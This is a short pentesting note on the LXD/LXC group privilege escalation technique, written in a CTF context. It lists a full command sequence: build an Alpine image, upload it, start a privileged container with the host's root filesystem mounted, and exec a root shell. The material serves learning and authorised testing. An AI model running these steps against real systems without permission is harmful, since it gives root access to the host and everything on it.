Summery

Alpine Linux is a small, security-focused Linux distribution normally commonly used for Docker containers, servers, and minimal environments.
In pentesting you can find it sometimes in docker containers, but more often because of it’s size, you will use it for privilege escalation.

Exploitation

For this epxloit to work, your target user needs to be in a lxd group.

The exploit here is to create a new container that has the entire file system mounted into it. In that container, I’ll be root, and thus have full access to all the files in the container (including the full host filesystem).

  1. Run git clone https://github.com/saghul/lxd-alpine-builder.git.
  2. Inside of the new folder run ./build-alpine. When it finishes, there willll be a .tar.gz package containing the files necessary to make an Alpine Linux container.
  3. Upload them onto the target host, for example with wget.
  4. Import the image into lxc with lxc image import /dev/shm/alpine-v3.12-x86_64-20200623_0622.tar.gz --alias 0xdf-image.
  5. Run lxd init.
  6. Create a container from the image - lxc init 0xdf-image container-0xdf -c security.privileged=true.
  7. Mount part of the host system root into the container - lxc config device add container-0xdf device-0xdf disk source=/ path=/mnt/root.
  8. Check if the container was setup correctly - lxc list.
  9. Start the container - lxc start container-0xdf.
  10. Get a root shell inside the container - lxc exec container-0xdf /bin/sh.

With that you can root access to the file system and so you can, for example, read a root flag in CTFs.

After this distribution is downloaded and built locally, an HTTP server is used to upload it to the remote system. The image is then imported into LXD and it is used to mount the Host file system with root privileges.

References

0xdf’s write-up
Blog article
Different hacktricks methods